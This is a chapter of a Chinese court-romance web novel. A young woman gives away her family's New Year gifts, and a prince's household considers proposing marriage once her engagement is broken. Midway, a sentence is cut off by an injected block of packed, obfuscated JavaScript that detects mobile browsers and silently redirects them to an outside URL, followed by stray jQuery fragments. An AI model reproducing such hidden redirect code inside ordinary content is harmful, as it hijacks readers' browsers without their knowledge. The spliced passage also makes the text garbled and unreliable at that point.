时近年关,几处庄子上都送来了年礼。棠妙卿看着院子里堆积如山的东西,喊了人来,竟全都分派了出去。
桃叶急得忙拦住她:“姑娘,这都是咱们府上过年用的,您怎么也得留下一些。”
棠妙卿听了,扭头看她一眼,也不说话,转身回了屋。
桃叶的心抖了抖,知道自己惹得姑娘不高兴了,她咬了咬唇,看着下人们将年货一份份搬走。
府中的下人都分得些米面粮油,一年辛苦,拿回家去,也能好好过个年。
给各家亲戚都备了一份,送礼的下人到了各家,皆道:“我们二姑娘说了,感念大家帮着料理夫人的丧事,又值年节,一点心意,不成敬意。”
有知根知底的人家,私下还疑心,他们家这是怎么回事?
往年送的都是中规中矩的,今年怎么这般大方了?
甚至连庆王府,也收到了一份,是周嬷嬷亲自送过去的。
门房里,炉膛中的火苗窜得老高,陈治平闲来无事,和看门的老张头闲话家常,被恭维地浑身舒坦。
一听说是棠府来人,陈治平撩开门帘,打量着周嬷嬷:“你是棠府上的嬷嬷?这是你家大人让送来的年礼?”
周嬷嬷不知陈治平的身份,见众人对他恭敬得很,陪着小心道:“大人,是我们二姑娘孝敬王妃娘娘的。上回娘娘赏了我们姑娘衣裳,又给了不少东西,如今年底下,这些都是自家庄子上出产的,特送来孝敬娘娘。”
陈治平下了台阶,掀开车上的苫布,一笼子羽彩斑斓的锦鸡,成筐晒干的菜干,还有新鲜菜蔬。他笑笑:“我姓陈,你回去告诉你家姑娘,王妃和王爷收到姑娘的心意了。”
周嬷嬷大喜,她心中一直忐忑,生怕进不了王府的大门,不能向棠妙卿交差。
陈治平三步并做两步进了内院,去见王爷,他将棠府来人的事儿一说。王妃先是感慨:“这么小就没了母亲,也知道礼数,着实难得。亏得她母亲将她许配给表兄,倒是考虑得长远。”
陈治平笑道:“想得长远也没用,他们两家如今正闹着退婚呢!”
庆王妃吃了一惊:“这是怎么说的?两家好好的,怎么还闹到退婚的地步了?”
“嗨,您是没听说。”陈治平扫了眼屋内,也没外人,“福康公主惦记上了棠二姑娘的表哥,二人暗中往来有一段时日了。棠夫人听说后,气怒攻心,这才一病不起了。”
庆王妃瞠目结舌,看向庆王:“公主这也太……太……”毕竟是长辈,她不好品评福康的长短,又看向陈治平,“他们两家这就退婚了?”
“也就这两天的事儿了。听说是棠二姑娘铁了心要在年前退婚。”陈治平笑道,“这个二姑娘倒是有主意的,很有决断,比棠大人干脆利落。”
正说着话,萧明德进了院子,沉着脸:“人呢,院子里乱七八糟,堆的都是什么东西?赶紧搬走。”
他刚从宫中出来,正一肚子气,见院子里堆着些筐筐篮篮拦了路,一脚踢翻,瓜果滚了一地。
进了屋,还没等行礼,王妃笑眯眯地问他:“今儿心情不好啊?这是在哪儿受了气?”
萧明德见过庆王,解下身上的斗篷,在庆王妃身边坐下:“圣上要我年后赶赴交东卫。”
庆王一惊,皱眉道:“他又要做什么?”
萧明德接过丫头奉上的茶盏:“圣上怀疑李元良勾结安南,要我去查个明白。”
庆王提起圣上就是一肚子火气:“李元良借着打压安南的名头,连年请兵请饷,耗去了几百万两银子,圣上疑心他已久。李元良和太子交好,谁都说不好这几百万两银子去了哪里。”
萧明德轻笑:“他谁都怀疑,满朝文武,没有一个让他信得过的人。”
庆王摇头,道:“太子贪墨了河南、山东大笔的赈灾银两,圣上一直盯着他。如今圣上的目光转移到交东卫,这是对太子起了疑心!你查不出蛛丝马迹,对圣上没法交代;你查出了结果,又会得罪太子,这差事实在棘手。”
萧明德拿起桌上的一个橘子,边剥皮边道:“您不用担心,我会斟酌着行事。”屋子里燃着银霜炭,到底有些气味,他站起身走到窗边,推开一道缝,看着下人搬东西,问:“这是谁这么没眼力见,把菜干堆放在你们院子正当中?”
陈治平在旁边嘿嘿笑两声:“棠家二姑娘,殿下您肯定还记得吧?!外头堆着的是她送来的年礼,我让人搬进来,寻思着让娘娘看看山野里的新鲜玩意儿。”
萧明德剥橘子皮的手停了一下,低下头,撕掉白的橘络,放进嘴里:“棠家跟咱们王府没有来往,他家怎么想起来送年礼了?”
陈治平细细打量他的神色:“棠文怀哪里有这胆量来咱们王府走动!是他们家二姑娘差人送来的。”
庆王妃笑道:“上回人家兄妹送你回府,棠家姑娘沾了一身的血污,我赏了她一套衣裳。小娘子懂礼数,知礼识趣,我心里喜欢得紧。”
谁能想到是棠妙卿为了气棠老夫人和棠文怀,她将庄子里的东西都送出去,不给一家子过年呢。
庆王看了看萧明德,又看向庆王妃,试探问道:“怎么样?要是合你二人的心意,我即刻进宫面见皇上,这次他肯定会应允了。”
萧明德停止了咀嚼,看向庆王:“什么应允不应允的,你又看上哪家了?”
庆王妃笑着走近他:“棠家二姑娘啊,你觉得怎么样?若是合你心意,便让你父王向皇上请旨求娶了。”
庆王也道:“满京城里挑来选去,门第高的惹皇上猜忌。棠家门第也算是凑合了,你母妃相中了棠二姑娘,你意下如何?”
萧明德愣了一下:“她已有婚约在身,您这是在想什么呢?”
哟,这就是没有拒绝了。竟还知道人家定了亲!
庆王妃笑着看向陈治平:“你确定棠、陆两家真要解除婚约了?要是真这么着,咱们得盯紧了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516344|186233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,他们一退婚,咱们就去提亲,可别让人抢了先。一家好女百家求呢!”
陈治平连连点头:“千真万确!估计就是这几日的事了。”
萧明德早就听说了福康公主和陆令则打得火热,没想到棠妙卿这么果决,说退婚就要退了。
他看向陈治平:“陈叔,你整日闲着没事,就在门房里听这些?”
“小王爷这是怎么说的?”陈治平觉得自己冤枉,“我都要忙死了,府里的护卫调度,车马仪仗都得盯着,您可不能这么看我。”
果然,没过几日,棠、陆两家正式退了婚约。双方家长当着媒人的面,各自收回庚帖,从此再无瓜葛。
外面各家各户都筹备着过年,街市上日日喧闹。只是陆氏新丧,棠家长房一门,冷冷清清,谁都开心不起来。
棠安正刚回京城不久,桃叶犹豫数次,不敢到他跟前。她思来想去,还是去见棠安吉:“二公子,我们姑娘整日闷闷不乐,您去看看她吧。”
棠安吉也是愁眉不展:“她在屋里整日做些什么?”
“成日里呆坐,眼神都是直的,恹恹地没精神。”桃叶道,“二公子,您去劝劝姑娘吧,只怕这个年咱们过不安生。”
棠安吉蹙眉:“怎么了?怎么还过不安生了?”
桃叶道:“夫人当日在老夫人屋中发病,二姑娘追查是谁多嘴将陆大人与公主的事说给老夫人听。”
棠安吉道:“纸包不住火,这事早晚都会知道的。只不过祖母做得确实太过分了。”
桃叶又道:“还有,姑娘把庄子上的节礼全都送了人,各屋都在背后编排她。老夫人更生气,天天将二姑娘喊过去站规矩,二姑娘不知道挨了多少骂了……”
陆氏头七的几天,府中人来人往很是杂乱,棠老夫人还让棠妙卿去她屋里学规矩,兄妹几个劝都劝不住。
棠安吉默然:“妙妙心中过不去这道坎,你盯着些,只要不损她的声名,她想怎么做久怎么做吧。”
棠妙卿在棠老夫人屋中站着,让站着便站着,让坐下便坐下。只是面无表情地泪流不止,哭个不住。
有来吊唁的,到了老夫人屋里,本来是安慰老夫人的宾客,见她哭得可怜,两只眼睛肿得像桃子,反倒不好再劝慰老夫人,转而去劝导棠妙卿。
棠老夫人气得肝疼,原想着拿捏住这个孙女,谁知她软硬不吃。
陆氏在时,偶尔小性,也还知道顾全大局,棠家吃穿用度俱都体面,在外人面前也都有光彩。
棠妙卿比陆氏心肠硬,宁可将年货都给了外人,也不肯贴补家里。年底了,棠老夫人将棠文怀交给她的俸禄,拿出来大半,暗中给老二棠文康送去,大房这边年关就难过了。
棠安吉终究是没有去寻棠妙卿。规劝棠妙卿低头,那就是对棠老夫人的原宥。
母亲新丧,兄妹几人对棠老夫人都有怨气。
转眼就是官府封印,家家都准备着过年。